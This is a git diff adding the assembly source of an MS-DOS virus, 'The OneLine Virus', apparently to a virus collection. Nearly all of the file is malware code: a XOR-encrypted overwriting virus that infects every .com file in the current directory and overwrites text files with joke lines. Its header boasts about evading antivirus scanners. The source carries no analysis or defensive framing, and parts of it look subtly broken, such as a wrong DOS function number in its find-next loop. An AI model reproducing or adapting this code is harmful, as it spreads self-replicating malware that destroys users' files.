re-organize

push

MSDOS/O-Index/Virus.MSDOS.Unknown.oneline.asm

@@ -0,0 +1,134 @@
+
+; ------------------------------------------------------------
+; --                    The OneLine Virus                   --
+; --               By Arsonic[CodeBreakers]                 --
+; --          HTTP://CODEBREAKERS.SIMPLENET.COM             --
+; ------------------------------------------------------------
+
+
+; Virus Info: This Virus is a 600 byte Long Encrypted Overwriting piece of
+; shit. it will infect all *.com file in the current directory and overwrite
+; the first line of all text files found with Famous Lines And Stuff..
+
+; Detected By:
+
+; TBAV:  Says This is a Unknown Virus.. But Only on the First Generation.. :)
+; FPROT: ??? did'n have it on my computer at the time of scanning.. 
+; AVP:   Nope.. Detected 3000 other virus's i got on my comp.. but not this one..
+
+jmp crypt_start
+
+start:
+mov di,si
+mov cx,crypt_start
+call crypt
+jmp crypt_start
+
+crypt:
+xorloop:
+lodsb
+xor al,byte ptr[xor_value]
+stosb
+loop xorloop
+ret
+
+xor_value db 0
+
+crypt_start:
+
+mov ah,4eh
+lea dx,mask
+int 21h
+jnc infect
+jmp text
+
+infect:
+mov ax,3d02h
+mov dx,9eh
+int 21h
+mov bx,ax
+
+; I suggest 'xchg bx,ax', because its only 1 byte, but thats your decision
+
+in al,40h
+mov byte ptr [xor_value],al
+
+lea si,crypt_start
+lea di,end
+mov cx,end - crypt_start
+call crypt
+
+mov ah,40h
+mov cx,crypt_start - start
+lea dx,start
+int 21h
+
+mov ah,40h
+mov cx,end - crypt_start
+lea dx,end
+int 21h
+
+mov ah,3eh
+int 21h
+jmp find_next
+
+find_next:
+mov ah,3fh
+int 21h
+jnc infect
+jmp text
+
+text:
+mov ah,4eh
+lea dx,textmask
+int 21h
+jnc text_payload
+jmp close
+
+text_payload:
+mov ax,3d02h
+mov dx,9eh
+int 21h
+
+mov ah,40h
+mov cx,message_end - message_start
+lea dx,message_start
+int 21h
+
+mov ah,3fh
+int 21h
+jmp text_findnext
+
+text_findnext:
+mov ah,4fh
+int 21h
+jnc text_payload
+jmp close
+
+message_start:
+db 'LEGALIZE CANNABUS!'
+db 'HO HO HO.. NOW I HAVE A MACHINE GUN!'
+db 'This is another 60 minutes...'
+db 'Burn Baby, BURN!'
+db 'Keep The Opressor Opressing..'
+db 'Have U Had Your Break TodaY?'
+db 'Oh I Wish I Was A Ocsar Myer Wiener!'
+db 'What Came First The Chicken Or the Egg?'
+db 'Help Me.. Help You!'
+db 'SHOW ME THE MONEY!!'
+db 'Take it Off Baby!'
+db 'ADRIAN!!!!'
+db 'Where do You Want To Go Today?'
+db 'We Are the Shitty VR! VRLAND SUX SHIT!'
+db 'INCOMING!!!!!!!! BOOOOOOOOOMMMMMM!'
+message_end:
+
+close:
+int 20h
+
+mask db '*.com',0
+textmask db '*.txt',0
+author db ' ARSONIC [CODEBREaKERS]',13,10,'$'
+virus db 'THE OnELINE VIRUS',13,10,'$'
+origin db 'PROUDLY MADE IN CANADA..',13,10,'$'
+end: